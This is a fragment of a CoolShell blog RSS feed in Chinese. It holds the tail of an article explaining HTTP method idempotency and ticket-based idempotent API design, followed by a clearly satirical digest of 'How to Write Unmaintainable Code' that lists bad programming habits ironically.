href=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051027575.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051039636.png\" border=\"0\" alt=\"image\" width=\"458\" height=\"394\" /></a></p>\n<p style=\"text-align: center;\"><a href=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051027575.png\"></a>图1</p>\n<p>这个问题的解决方案一是采用分布式事务，通过引入支持分布式事务的中间件来保证withdraw功能的事务性。分布式事务的优点是对于调用者很简单，复杂性都交给了中间件来管理。缺点则是一方面架构太重量级，容易被绑在特定的中间件上，不利于异构系统的集成；另一方面分布式事务虽然能保证事务的ACID性质，而但却无法提供性能和可用性的保证。</p>\n<p>另一种更轻量级的解决方案是幂等设计。上面的withdraw显然不满足幂等性，但我们可以一些技巧将它变成幂等的，比如：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int create_ticket();\n\nbool idempotent_withdraw(ticket_id, account_id, amount);</pre>\n<p>create_ticket的语义是获取一个服务器端生成的唯一的处理号ticket_id，它将用于标识后续的操作。idempotent_withdraw和withdraw的区别在于关联了一个ticket_id，一个ticket_id表示的操作至多只会被处理一次，每次调用都将返回第一次调用时的处理结果。这样，idempotent_withdraw就符合幂等性了，客户端就可以放心地多次调用。</p>\n<p>基于幂等性的解决方案中一个完整的取钱流程被分解成了两个步骤：1.调用create_ticket()获取ticket_id；2.调用idempotent_withdraw(ticket_id, account_id, amount)。虽然create_ticket不是幂等的，但在这种设计下，它对系统状态的影响可以忽略，加上idempotent_withdraw是幂等的，所以任何一步由于网络等原因失败或超时，客户端都可以重试，直到获得结果。如图2所示：</p>\n<p><a href=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051059820.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051069339.png\" border=\"0\" alt=\"image\" width=\"610\" height=\"578\" /></a></p>\n<p style=\"text-align: center;\">图2</p>\n<p><strong> </strong></p>\n<p>和分布式事务相比，幂等设计的优势在于它的轻量级，容易适应异构环境，以及性能和可用性方面。在某些性能要求比较高的应用，幂等设计往往是唯一的选择。</p>\n<p><strong> </strong></p>\n<p><strong>HTTP的幂等性</strong></p>\n<p>HTTP协议本身是一种面向资源的应用层协议，但对HTTP协议的使用实际上存在着两种不同的方式：一种是RESTful的，它把HTTP当成应用层协议，比较忠实地遵守了HTTP协议的各种规定；另一种是SOA的，它并没有完全把HTTP当成应用层协议，而是把HTTP协议作为了传输层协议，然后在HTTP之上建立了自己的应用层协议。本文所讨论的HTTP幂等性主要针对RESTful风格的，不过正如上一节所看到的那样，幂等性并不属于特点的协议，它是分布式系统的一种特性；所以，不论是SOA还是RESTful的Web API设计都应该考虑幂等性。下面将介绍HTTP GET、DELETE、PUT、POST四种主要方法的语义和幂等性。</p>\n<p>HTTP GET方法用于获取资源，不应有副作用，所以是幂等的。比如：GET http://www.bank.com/account/123456，不会改变资源的状态，不论调用一次还是N次都没有副作用。请注意，这里强调的是一次和N次具有相同的副作用，而不是每次GET的结果相同。GET http://www.news.com/latest-news这个HTTP请求可能会每次得到不同的结果，但它本身并没有产生任何副作用，因而是满足幂等性的。</p>\n<p>HTTP DELETE方法用于删除资源，有副作用，但它应该满足幂等性。比如：DELETE http://www.forum.com/article/4231，调用一次和N次对系统产生的副作用是相同的，即删掉id为4231的帖子；因此，调用者可以多次调用或刷新页面而不必担心引入错误。</p>\n<p>比较容易混淆的是HTTP POST和PUT。POST和PUT的区别容易被简单地误认为“POST表示创建资源，PUT表示更新资源”；而实际上，二者均可用于创建资源，更为本质的差别是在幂等性方面。在HTTP规范中对POST和PUT是这样定义的：</p>\n<blockquote><p><span style=\"color: #800040;\"><em>The POST method is used to request that the origin server accept the entity enclosed in the request as a new subordinate of the resource identified by the Request-URI in the Request-Line. &#8230;&#8230; </em><em>If a resource has been created on the origin server, the response SHOULD be 201 (Created) and contain an entity which describes the status of the request and refers to the new resource, and a Location header.</em></span></p>\n<p><em><span style=\"color: #800040;\">The PUT method requests that the enclosed entity be stored under the supplied Request-URI. If the Request-URI refers to an already existing resource, the enclosed entity SHOULD be considered as a modified version of the one residing on the origin server. If the Request-URI does not point to an existing resource, and that URI is capable of being defined as a new resource by the requesting user agent, the origin server can create the resource with that URI.</span></em></p></blockquote>\n<p>POST所对应的URI并非创建的资源本身，而是资源的接收者。比如：POST http://www.forum.com/articles的语义是在http://www.forum.com/articles下创建一篇帖子，HTTP响应中应包含帖子的创建状态以及帖子的URI。两次相同的POST请求会在服务器端创建两份资源，它们具有不同的URI；所以，POST方法不具备幂等性。</p>\n<p>而PUT所对应的URI是要创建或更新的资源本身。比如：PUT http://www.forum/articles/4231的语义是创建或更新ID为4231的帖子。对同一URI进行多次PUT的副作用和一次PUT是相同的；因此，PUT方法具有幂等性。</p>\n<p>在介绍了几种操作的语义和幂等性之后，我们来看看如何通过Web API的形式实现前面所提到的取款功能。很简单，用POST /tickets来实现create_ticket；用PUT /accounts/account_id/ticket_id&amp;amount=xxx来实现idempotent_withdraw。值得注意的是严格来讲amount参数不应该作为URI的一部分，真正的URI应该是/accounts/account_id/ticket_id，而amount应该放在请求的body中。这种模式可以应用于很多场合，比如：论坛网站中防止意外的重复发帖。</p>\n<p><strong> </strong></p>\n<p><strong>总结</strong></p>\n<p>上面简单介绍了幂等性的概念，用幂等设计取代分布式事务的方法，以及HTTP主要方法的语义和幂等性特征。其实，如果要追根溯源，幂等性是数学中的一个概念，表达的是N次变换与1次变换的结果相同，有兴趣的读者可以从<a href=\"http://en.wikipedia.org/wiki/Idempotence\">Wikipedia</a>上进一步了解。</p>\n<p><strong> </strong></p>\n<p><strong>参考</strong></p>\n<p><a href=\"http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html\">RFC 2616, Hypertext Transfer Protocol &#8212; HTTP/1.1, Method Definitions</a></p>\n<p><a href=\"http://devhawk.net/2007/11/09/the-importance-of-idempotence/\">The Importance of Idempotence</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" alt=\"HTTP的前世今生\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_title\">HTTP的前世今生</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/8767.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox-150x150.jpg\" alt=\"Web工程师的工具箱\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8767.html\" class=\"wp_rp_title\">Web工程师的工具箱</a></li><li ><a href=\"https://coolshell.cn/articles/2367.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/04/URL-BAR-150x150.png\" alt=\"谷歌Chrome取消&#8221;http://&#8221;\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2367.html\" class=\"wp_rp_title\">谷歌Chrome取消&#8221;http://&#8221;</a></li><li ><a href=\"https://coolshell.cn/articles/1480.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"非常简单的Python HTTP服务\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1480.html\" class=\"wp_rp_title\">非常简单的Python HTTP服务</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4787.html\">HTTP幂等性概念和应用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4787.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>37</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何写出无法维护的代码</title>\n\t\t<link>https://coolshell.cn/articles/4758.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4758.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 03 Jun 2011 00:52:42 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4758</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>酷壳里有很多我觉得很不错的文章，但是访问量最大的却是那篇《6个变态的Hello World》，和它能在本站右边栏“全站热门”中出现的还有“如何加密源代码”，以及...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4758.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>酷壳里有很多我觉得很不错的文章，但是访问量最大的却是那篇《<a title=\"6个变态的C语言Hello World程序\" href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">6个变态的Hello World</a>》，和它能在本站右边栏“<strong>全站热门</strong>”中出现的还有“<a title=\"如何加密/混乱C源代码\" href=\"https://coolshell.cn/articles/933.html\" target=\"_blank\">如何加密源代码</a>”，以及<a title=\"编程真难啊\" href=\"https://coolshell.cn/articles/1391.html\" target=\"_blank\">编程真难啊</a>等这样的文章。可见本站的读者们的偏好，我也相信你们都是“身怀绝技”的程序员。所以，今天给大家推荐这篇文章，相信一定能触动大家的兴奋点。</p>\n<p>这篇文章的原文在这里（<a href=\"http://mindprod.com/jgloss/unmain.html\" target=\"_blank\">http://mindprod.com/jgloss/unmain.html</a>），我看完后我想说——</p>\n<ol>\n<li><strong>什么叫“创造力”，创造力就是——就算是要干一件烂事都能干得那么漂亮那么有创意的能力。</strong></li>\n<li><strong>什么叫“抓狂”，抓狂就是——以一种沉着老练的不屈不挠的一本正经的精神一点一点把你推向崩溃的边缘</strong>。</li>\n</ol>\n<p>我把文章节选了一些，也并没有完全翻译，简译一下，也加入了一些自己的调侃。对于有下面这些编程习惯的朋友，请大家对号入座。另外，维护程序的朋友们，你们死定了！！</p>\n<blockquote><p><img decoding=\"async\" loading=\"lazy\" src=\"http://mindprod.com/image/icon64/woodpecker.png\" alt=\"woodpecker\" width=\"64\" height=\"64\" align=\"left\" border=\"0\" />If builders built buildings the way programmers write programs, then the first woodpecker that came along would destroy civilization. （如果建筑师盖房子就像程序员写程序一样，那么，第一只到来的啄木鸟就能毁掉我们的文明）</p>\n<p>~ Gerald Weinberg (born: 1933-10-27 age: 77) <a href=\"http://www.geraldmweinberg.com/Site/Home.html\">Weinberg’s Second Law</a></p></blockquote>\n<h4>程序命名</h4>\n<ul>\n<li><strong>容易输入的名字</strong>。比如：Fred，asdf</li>\n<li><strong>单字母的变量名</strong>。比如：a,b,c, x,y,z（陈皓注：如果不够用，可以考虑a1,a2,a3,a4,&#8230;.）</li>\n<li><strong>有创意地拼写错误</strong>。比如：SetPintleOpening， SetPintalClosing。这样可以让人很难搜索代码。</li>\n<li><strong>抽象</strong>。比如：ProcessData, DoIt, GetData&#8230; 抽象到就跟什么都没说一样。</li>\n<li><strong>缩写</strong>。比如：WTF，RTFSC …… （陈皓注：使用拼音缩写也同样给力，比如： BT，TMD，TJJTDS）</li>\n<li><strong>随机大写字母</strong>。比如：gEtnuMbER..</li>\n<li><strong>重用命名</strong>。在内嵌的语句块中使用相同的变量名有奇效。</li>\n<li><strong>使用重音字母</strong>。比如：int  ínt（注：第二个 ínt不是int）</li>\n<li><strong>使用下划线</strong>。比如：_, __, ___。</li>\n<li><strong>使用不同的语言</strong>。比如混用英语，德语，或是中文拼音。</li>\n<li><strong>使用字符命名</strong>。比如：slash, asterix, comma&#8230;</li>\n<li><strong>使用无关的单词</strong>。比如：god, superman, iloveu&#8230;.</li>\n<li><strong>混淆l和1</strong>。字母l和数字1有时候是看不出来的。</li>\n</ul>\n<h4><span id=\"more-4758\"></span>伪装欺诈</h4>\n<ul>\n<li><strong>把注释和代码交织在一起</strong>。</li>\n</ul>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">for(j=0; j&lt;array_len; j+ =8)\n{\n    total += array[j+0 ];\n    total += array[j+1 ];\n    total += array[j+2 ]; /* Main body of\n    total += array[j+3]; * loop is unrolled\n    total += array[j+4]; * for greater speed.\n    total += array[j+5]; */\n    total += array[j+6 ];\n    total += array[j+7 ];\n}</pre>\n<ul>\n<li><strong>隐藏宏定义</strong>。如：#define a=b a=0-b，当人们看到a=b时，谁也想不到那是一个宏。</li>\n</ul>\n<ul>\n<li><strong>换行</strong>。如下所示，下面的示例使用搜索xy_z变得困难。</li>\n</ul>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#define local_var xy\\\n_z // local_var OK</pre>\n<ul>\n<li><strong>代码和显示不一致</strong>。比如，你的界面显示叫postal code，但是代码里确叫 zipcode.</li>\n</ul>\n<ul>\n<li><strong>隐藏全局变量</strong>。把使用全局变量以函数参数的方式传递给函数，这样可以让人觉得那个变量不是全局变量。</li>\n</ul>\n<ul>\n<li><strong>使用同意词</strong>。如：</li>\n</ul>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#define xxx global_var // in file std.h&amp;nbsp;\n#define xy_z xxx // in file ..\\other\\substd.h&amp;nbsp;\n#define local_var xy_z // in file ..\\codestd\\inst.h</pre>\n<ul>\n<li><strong>使用相似的变量名</strong>。如：单词相似，swimmer 和 swimner，字母相似：ilI1| 或 oO08。parselnt 和 parseInt， D0Calc 和 DOCalc。还有这一组：xy_Z, xy__z, _xy_z, _xyz, XY_Z, xY_z, Xy_z。</li>\n</ul>\n<ul>\n<li><strong>重载函数</strong>。使用相同的函数名，但是其功能和具体实现完全没有关系。</li>\n</ul>\n<ul>\n<li><strong>操作符重载</strong>。重载操作符可以让你的代码变得诡异，感谢CCTV，感谢C++。这个东西是可以把混乱代码提高到一种艺术的形式。比如：重载一个类的 ! 操作符，但实际功能并不是取反，让其返回一个整数。于是，如果你使用 ! ! 操作符，那么，有意思的事就发生了—— 先是调用类的重载 ! 操作符，然后把其返回的整数给 ! 成了 布尔变量，如果是 !!! 呢？呵呵。</li>\n</ul>\n<ul>\n<li><strong>#define</strong>。看过本站那些混乱代码的文章，你都会知道宏定义和预编译对于写出不可读的代码的重大意义。不过，一个具有想像力的东西是——在头文件中使用预编译来查看这个头文件被include了几次，而被include不同的次数时，其中的函数定义完全不一样。</li>\n</ul>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#ifndef DONE\n#ifdef TWICE\n// put stuff here to declare 3rd time around\nvoid g(char* str);\n#define DONE\n#else // TWICE\n#ifdef ONCE\n// put stuff here to declare 2nd time around&lt;\nvoid g(void* str);\n#define TWICE\n#else // ONCE\n// put stuff here to declare 1st time around\nvoid g(std::string str);\n#define ONCE\n#endif // ONCE\n#endif // TWICE\n#endif // DONE</pre>\n<h4>文档和注释</h4>\n<ul>\n<li><strong>在注释中撒谎</strong>。你不用真的去撒谎，只需在改代码的时候不要更新注释就可以了。</li>\n<li><strong>注释明显的东西</strong>。比如：/* add 1 to i */。（参看本站的“<a title=\"五种应该避免的代码注释\" href=\"https://coolshell.cn/articles/2746.html\" target=\"_blank\">五种应该避免的注释</a>”）</li>\n<li><strong>只注释是什么，而不是为什么</strong>。</li>\n<li><strong>不要注释秘密</strong>。如果你开发一个航班系统，请你一定要保证每有一个新的航班被加入，就得要修改25个以上的位置的程序。千万别把这个事写在文档中。</li>\n<li><strong>注重细节</strong>。当你设计一个很复杂的算法的时候，你一定要把所有的详细细设计都写下来，没有100页不能罢休，段落要有5级以上，段落编号要有500个以上，例如：1.2.4.6.3.13 &#8211; Display all impacts for activity where selected mitigations can apply (short pseudocode omitted). 这样，当你写代码的时候，你就可以让你的代码和文档一致，如：Act1_2_4_6_3_13()</li>\n<li><strong>千万不要注释度衡单位</strong>。比如时间用的是秒还是毫秒，尺寸用的是像素还是英寸，大小是MB还是KB。等等。另外，在你的代码里，你可以混用不同的度衡单位，但也不要注释。</li>\n<li><strong>Gotchas</strong>。陷阱，千万不要注释代码中的陷阱。</li>\n<li><strong>在注释和文档中发泄不满</strong>。（参看本站的“<a title=\"五种应该避免的代码注释\" href=\"https://coolshell.cn/articles/2746.html\" target=\"_blank\">五种应该避免的注释</a>”）</li>\n</ul>\n<h4>程序设计</h4>\n<ul>\n<li><strong>Java Casts</strong>。Java的类型转型是天赐之物。每一次当你从Collection里取到一个object的时候，你都需要把其转回原来的类型。因些，这些转型操作会出现在N多的地方。如果你改变了类型，那么你不一定能改变所有的地方。而编译器可能能检查到，也可能检查不到。</li>\n<li><strong>利用Java的冗余</strong>。比如：Bubblegum b = new Bubblegom(); 和 swimmer = swimner + 1; 注意变量间的细微差别。</li>\n<li><strong>从不验证</strong>。从不验证输入的数据，从不验证函数的返回值。这样做可以向大家展示你是多么的信任公司的设备和其它程序员。</li>\n<li><strong>不要封装</strong>。调用者需要知道被调用的所有的细节。</li>\n<li><strong>克隆和拷贝</strong>。为了效率，你要学会使用copy + paste。你几乎都不用理解别人的代码，你就可以高效地编程了。（陈皓注：Copy + Paste出来的代码bug多得不能再多）</li>\n<li><strong>巨大的listener</strong>。写一个listener，然后让你的所有的button类都使用这个listener，这样你可以在这个listener中整出一大堆if&#8230;else&#8230;语句，相当的刺激。</li>\n<li><strong>使用三维数组</strong>。如果你觉得三维还不足够，你可以试试四维。</li>\n<li><strong>混用</strong>。同时使用类的get/set方法和直接访问那个public变量。这样做的好处是可以极大的挫败维护人员。</li>\n<li><strong>包装，包装，包装</strong>。把你所有的API都包装上6到8遍，包装深度多达4层以上。然后包装出相似的功能。</li>\n<li><strong>没有秘密</strong>。把所有的成员都声明成public的。这样，你以后就很难限制其被人使用，而且这样可以和别的代码造成更多的耦合度，可以让你的代码存活得更久。</li>\n<li><strong>排列和阻碍</strong>。把drawRectangle(height, width) 改成 drawRectangle(width, height)，等release了几个版本后，再把其改回去。这样维护程序的程序员们将不能很快地明白哪一个是对的。</li>\n<li><strong>把变量改在名字上</strong>。例如，把setAlignment(int alignment)改成，setLeftAlignment, setRightAlignment, setCenterAlignment。</li>\n<li><strong>Packratting</strong>。保留你所有的没有使用的和陈旧的变量，方法和代码。</li>\n<li><strong>That&#8217;s Fina</strong>l。Final你所有的子结点的类，这样，当你做完这个项目后，没有人可以通过继承来扩展你的类。java.lang.String不也是这样吗？</li>\n<li><strong>避免使用接口</strong>。在java中，BS接口，在C++中BS使用虚函数。</li>\n<li><strong>避免使用layout</strong>。这样就使得我们只能使用绝对坐标。如果你的老大强制你使用layout，你可以考虑使用GridBagLayout，然后把grid坐标hard code.</li>\n<li><strong>环境变量</strong>。如果你的代码需要使用环境变量。(getenv() &#8211; C++ / System.getProperty() &#8211; Java )，那么，你应该把你的类的成员的初始化使用环境变量，而不是构造函数。</li>\n<li><strong>使用Magic numbe</strong>r。参看《<a title=\"Linux 2.6.39-rc3的一个插曲\" href=\"https://coolshell.cn/articles/4576.html\" target=\"_blank\">Linux一个插曲</a>》。</li>\n<li><strong>使用全局变量</strong>。1）把全局变量的初始化放在不同的函数中，就算这个函数和这个变量没有任何关系，这样能够让我们的维护人员就像做侦探工作一样。2）使用全局变量可以让你的函数的参数变得少一些。</li>\n<li><strong>配置文件</strong>。配置文件主要用于一些参数的初始化。在编程中，我们可以让配置文件中的参数名和实际程序中的名字不一样。</li>\n<li><strong>膨胀你的类</strong>。让你的类尽可能地拥有各种臃肿和晦涩的方法。比如，你的类只实现一种可能性，但是你要提供所有可能性的方法。不要定义其它的类，把所有的功能都放在一个类中。</li>\n<li><strong>使用子类</strong>。面向对象是写出无法维护代码的天赐之物。如果你有一个类有十个成为（变量和方法）你可以考虑写10个层次的继承，然后把这十个属性分别放在这十个层次中。如果可能的话，把这十个类分别放在十个不同的文件中。</li>\n</ul>\n<h4>混乱你的代码</h4>\n<ul>\n<li><strong>使用XML</strong>。XML的强大是无人能及的。使用XML你可以把本来只要10行的代码变成100行。而且，还要逼着别人也有XML。（参看，<a title=\"信XML，得永生！\" href=\"https://coolshell.cn/articles/2504.html\" target=\"_blank\">信XML得永生</a>，<a title=\"信XML，得自信\" href=\"https://coolshell.cn/articles/3498.html\" target=\"_blank\">信XML得自信</a>）</li>\n<li><strong>混乱C代码</strong>。在《<a title=\"如何加密/混乱C源代码\" href=\"https://coolshell.cn/articles/933.html\" target=\"_blank\">如何加密源代码</a>》中已经说过一些方法了，这里再补充一些。</li>\n<li><strong>使用不同的进制</strong>。比如：10 和010不是一样的。再比如：array = new int[]{   111,   120,   013,   121,};</li>\n<li><strong>尽量使用void*</strong>。然后把其转成各种类型</li>\n<li><strong>使用隐式的转型</strong>。C++的构造函数可以让你神不知鬼不觉得完成转型。</li>\n<li><strong>分解条件表达式</strong>。如：把 a==100分解成，a&gt;99 &amp;&amp; a&lt;101</li>\n<li><strong>学会利用分号</strong>。如：if ( a );else;{   int d;   d = c;}</li>\n<li><strong>间接转型</strong>。如：把double转string，写成new Double(d).toString() 而不是 Double.toString(d)</li>\n<li><strong>大量使用嵌套</strong>。一个NB的程序员可以在一行代码上使用超过10层的小括号（），或是在一个函数里使用超过20层的语句嵌套{}，把嵌套的if else 转成 [? :] 也是一件很NB的事。</li>\n<li><strong>使用C的变种数组</strong>。myArray[i] 可以变成*(myArray + i) 也可以变成 *(i + myArray) 其等价于 i[myArray]。再看一个函数调用的示例，函数声明：int myfunc(int q, int p) { return p%q; } 函数调用myfunc(6291, 8)[Array];</li>\n<li><strong>长代码行</strong>。一行的代码越长越好。这样别人阅读时就需要来来回回的</li>\n<li><strong>不要较早的return</strong>。不要使用goto，不要使用break，这样，你就需要至少5层以上的if-else来处理错误。</li>\n<li><strong>不要使用{}</strong>。不要在if else使用{}，尤其是在你重量地使用if-else嵌套时，你甚至可以在其中乱缩进代码，这样一来，就算是最有经验的程序员也会踩上陷阱。</li>\n<li><strong>使用宏定义</strong>。宏定义绝对是混乱C/C++代码的最佳利器。参看 <a title=\"老手是这样教新手编程的\" href=\"https://coolshell.cn/articles/2420.html\" target=\"_blank\">老手是这样教新手编程的</a>。</li>\n<li><strong>琐碎的封装</strong>。比较封装一个bool类，类里面什么都做，就是一个bool.</li>\n<li><strong>循环</strong>。千万不可用for(int i=0; i&lt;n; i++)使用while代替for，交换n和i，把&lt;改成&lt;=，使用 i&#8211;调整步伐 。</li>\n</ul>\n<h4>测试</h4>\n<ul>\n<li><strong>从不测试</strong>。千万不要测试任何的出错处理，从来也不检测系统调用的返回值。</li>\n<li><strong>永远不做性能测试</strong>。如果不够快就告诉用户换一个更快的机器。如果你一做测试，那么就可能会要改你的算法，甚至重设计，重新架构。</li>\n<li><strong>不要写测试案例</strong>。不要做什么代码覆盖率测试，自动化测试。</li>\n<li><strong>测试是懦夫行为</strong>。一个勇敢的程序员是根本不需要这一步的。太多的程序太害怕他们的老板，害怕失去工作，害怕用户抱怨，甚至被起诉。这种担心害怕直接影响了生产力。如果你对你的代码有强大的信心，那还要什么测试呢？真正的程序员是不需要测试自己的代码的。</li>\n</ul>\n<h4>其它</h4>\n<ul>\n<li><strong>你的老板什么都知道</strong>。无论你的老板有多SB，你都要严格地遵照他的旨意办事，这样一来，你会学到更多的知识如何写出无法维护的代码来的。</li>\n<li><strong>颠覆Help Desk</strong>。你要确保你那满是bug的程序永远不要被维护团队知道。当用户打电话和写邮件给你的时候，你就不要理会，就算要理会，让用户重做系统或是告诉用户其帐号有问题，是标准的回答。</li>\n<li><strong>闭嘴</strong>。对于一些像y2k这样的大bug，你要学会守口如瓶，不要告诉任何人，包括你的亲人好友以及公司的同事和管理层，这样当到那一天的时候，你就可以用这个bug挣钱了。</li>\n<li><strong>忽悠</strong>。你会学会忽悠，就算你的代码写得很烂，你也要为其挂上GoF设计模式的标签，就算你的项目做得再烂，你也要为其挂上敏捷的标签，只有学会<a title=\"再谈敏捷和ThoughtWorks中国咨询师\" href=\"https://coolshell.cn/articles/3745.html\" target=\"_blank\">像中国Thoughtworks的咨询师那样去忽悠</a>，你才能学会更炫更酷的方法，让整个团队和公司，甚至整个业界都开始躁动，这样才能真正为难维护的代码铺平道路。</li>\n</ul>\n<p>这个文档中还有很多很多，实在是太TMD强大了，大家自己去看看吧。有精力有能力的朋友不妨把其翻译成中文。</p>\n<p>总之，我们的口号是——</p>\n<h4 style=\"text-align: center;\">Write Everywhere, Read Nowhere</h4>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/1992.html\" 